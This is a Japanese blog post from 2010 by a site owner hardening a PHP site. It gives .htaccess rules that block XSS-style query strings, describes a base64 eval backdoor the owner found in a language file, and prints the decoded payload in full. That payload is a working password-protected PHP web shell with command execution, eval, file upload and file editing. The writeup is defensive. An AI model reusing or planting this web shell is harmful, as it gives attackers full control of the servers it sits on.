2010/01/26

アンチクロスサイトスクリプティング - anti XSS

シンプルな対策としてhtaccessに以下を記述
攻撃者に対して返すファイルを設置(fuckyou.php)


#アンチXSS(クロスサイトスクリプト対策)
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} base64_encode.*¥(.*¥) [OR]
RewriteCond %{QUERY_STRING} (¥<|%3C).*script.*(¥>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (¥<|%3C).*iframe.*(¥>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|¥[|¥%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|¥[|¥%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ fuckyou.php [F,L]
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F]

base64_decode - セキュリティ強化

なにげに言語ファイルを覗いていると、言語ファイルの冒頭に
<?php if(isset($_GET['lave']) || isset($HTTP_GET_VARS['lave'])) eval(base64_decode('ごにょごにょ')?>

なるものを発見

base64_encorderで内容をエンコードしてみると以下のようになる。

@set_time_limit(0);
@error_reporting(2);
@set_magic_quotes_runtime(0);
@ini_set('upload_max_filesize',10485760);
@ini_set('post_max_size',10485760);
@ini_set('file_uploads', true);
@ini_set('display_errors',true);
@ini_set('register_globals',true);
@ini_set('register_long_arrays',true);
@ini_set('max_execution_time',false);
@ini_set('output_buffering',false);
@ini_set('allow_url_fopen',true);
$safemode=@ini_get('safe_mode');

$magic_quotes=1;
if (function_exists('get_magic_quotes_gpc')) $magic_quotes=get_magic_quotes_gpc();

$phpver = str_replace('.','',phpversion());
if (strlen($phpver)<3) while (strlen($phpver)<3) $phpver.='0';
if(intval($phpver) < 410){
$_POST=&$HTTP_POST_VARS;
$_GET=&$HTTP_GET_VARS;
$_SERVER=&$HTTP_SERVER_VARS;
$_COOKIE=&$HTTP_COOKIE_VARS;
$_FILES=&$HTTP_POST_FILES;
}
@ob_end_clean();

$pw_pls="<form method=post><input type=text name=pw></form>";

if (empty($_POST['pw'])) exit($pw_pls);
if (!empty($_POST['pw']) && md5($_POST['pw'])!='a5dc497c9784a67b0ae8503c9ea4c74f') exit($pw_pls);

$pw="<input type=hidden name=pw value='".htmlspecialchars($_POST['pw'])."'>";

if (!empty($_POST['usemodule'])) include($_POST['usemodule']);

$work_dir = getcwd();
if (strpos($work_dir,"??")!==false) $work_dir=str_replace("??","/",$work_dir);
if (strpos(substr($work_dir,0,5),":")!==false) $os="win";
else $os="nix";
if (!empty($_POST['cd'])) $cd=stripslashes($_POST['cd']);
else $cd = $work_dir;

if (is_dir($cd)) chdir($cd);

$run=($magic_quotes)?stripslashes($_POST['run']):$_POST['run'];
$edit=stripslashes($_POST['edit']);
if (!@is_file($edit)) $edit=$cd;

if (!empty($_POST['eval'])) eval(($magic_quotes)?stripslashes($_POST['eval']):$_POST['eval']);

if (!empty($_FILES['userfile']['tmp_name']) && is_uploaded_file($_FILES['userfile']['tmp_name'])) {
$uploaddir = ereg_replace('/+', '/', $cd."/");
$uploadfile = $uploaddir.basename($_FILES['userfile']['name']);
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
}

if (isset($_POST['save'])) {
if ($magic_quotes) $console = stripslashes($_POST['console']);
else $console = $_POST['console'];
$time = filemtime($edit);
$f=@fopen($edit,"w");
if ($f) {
fwrite($f,$console);
fclose($f);
touch($edit,$time);
$edit=$cd;
}
}

if (!empty($edit) && file_exists($edit) && is_file($edit) && $edit!==$cd) {
if ($os=='win'?can_write($edit):is_writable($edit)) $need_save_button=true;
$f=@fopen($edit,"r");
if ($f) {
if (filesize($edit)>0) $retval = @fread($f,filesize($edit));
else $retval = "[empty]";
fclose($f);
} else {
$retval = "Can't open file: $edit?n";
}
} elseif (!empty($run)) {
$cmd = $run;
$retval = magic_execute($cmd);
} elseif (file_exists($cd) && @is_dir($cd)) {

if (!$safemode)
{
if ($os=='win')
{

$cmd = "dir ".str_replace("/","??",$cd);
$retval = magic_execute($cmd);
}
else
{
$cmd = "ls -la ?"$cd?"";
$retval = magic_execute($cmd);
}
}

if (empty($retval))
{
$dir=$cd;
if($curdir = @opendir($dir)) {
while($file = readdir($curdir)) {
if($file != '.' && $file != '..') {
$srcfile = $dir . '/' . $file;
if(is_file($srcfile)) {
if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "++ ".$file."?n";
else $retval .= "-- ".$file."?n";
} elseif(is_dir($srcfile)) {
if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "d+ ".$file."?n";
else $retval .= "d- ".$file."?n";
}
}
}
closedir($curdir);
} else $retval = "Cant open directory?n";
}


}

$id_exec = "cant get uid,gid";

if ($tmp = magic_execute("id")) $id_exec = $tmp;
elseif (function_exists('posix_getgid'))
{
$uids = @posix_getlogin();
$euids = @posix_getlogin();
$uid = @posix_getuid();
$euid = @posix_geteuid();
$gid = @posix_getgid();
if (!empty($uid)) $id_exec = "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)";
}

echo '<HTML><BODY onload="document.getElementById(?'cdfocus?').focus();"><HR>';
echo date("d.m.Y h:i A")." OS:$os $id_exec safe_mode=$safemode";
echo "<HR>";
if (isset($need_save_button)) echo "<FORM method=post>";
echo '<TEXTAREA id="console" name="console" style="width:100%;height:400px;">';
if (isset($retval)) echo htmlspecialchars($retval);
echo '</TEXTAREA>';
if (isset($need_save_button)) echo "$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><INPUT type='hidden' name='edit' value='".htmlspecialchars($edit)."'><INPUT type=submit name=save value='Save'></FORM>";
echo "<HR><FORM method=?"POST?">$pw";
echo "<table><tr><td>dir:</td><td width=?"100%?"><input type=?"text?" style=?"width:100%;?" id=?"cdfocus?" name=?"cd?" value=?"".htmlspecialchars($cd)."?"></td></tr>".
"<tr><td>run:</td><td><input type=?"text?" style=?"width:100%;?" name=?"run?" value=?"?"></td></tr>".
"<tr><td>edit:</td><td><input type=?"text?" style=?"width:100%;?" name=?"edit?" value=?"".htmlspecialchars($edit)."?"></td></tr>".
"</table>".
"<input type=?"submit?" value=?"OK?"></FORM>";

echo "<hr><form enctype=?"multipart/form-data?" method=?"post?">$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><input type=?"hidden?" name=?"MAX_FILE_SIZE?" value=?"15000000?" />upload: <input name=?"userfile?" type=?"file?" /><input type=?"submit?" value=?"upload?" /></form><hr>";
echo "<form method=post>$pw<textarea style=?"width:100%;height:100px;?" name='eval' id='eval'>phpinfo();</textarea><input type=submit value='EvalPHP'></form><hr>";
echo "use module: <form method=post>$pw<input type='text' name='usemodule'>&nbsp;<input type=submit value='use'></form><hr>";
echo "</BODY></HTML>";

exit();


function can_write($file) {if(file_exists($file)){if (is_file($file)) {$f=@fopen($file,"a+");if($f){fclose($f);return true;}}elseif (is_dir($file)) {if ($file[strlen($file)-1]!='/') $file.='/';$tfile = $file."testxxxtest";if (@touch($tfile)){unlink($tfile);return true;}}}return false;}

function magic_execute($cmd)
{
$res=false;
if (function_exists('exec'))
{
@exec($cmd,$res);
$res = join("?n",$res);
}
else
if (function_exists('shell_exec'))
$res = @shell_exec($cmd);
else
if (function_exists('system'))
{
@ob_start();
@system($cmd);
$res = @ob_get_contents();
@ob_end_clean();
}
else
if(function_exists('passthru'))
{
@ob_start();
@passthru($cmd);
$res = @ob_get_contents();
@ob_end_clean();
}
else
if (@is_resource($f = @popen($cmd,"r")))
{
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
return $res;
}


どうも悪意のある書き込みなのでセキュリティーの修正をしなければ。。
本家の修正案を考慮して〜

やっておくべきこと

  • 管理フォルダのリネーム ◯簡単なのでこれから
    インジェクションアタック対策 ◯これも修正済み
    監視モニタの設置 ◯入れてみた
    IPトラップ ×いろいろ影響出そうなのでスルー
    管理フォルダのhtaccessでBASIC認証 ×いつでもできるしパスワードが増えるのは面倒
    クロスサイトスクリプトの修正 ◯割と簡単、効果あるかな?




  • とりあえずこんだけすりゃ大丈夫かな?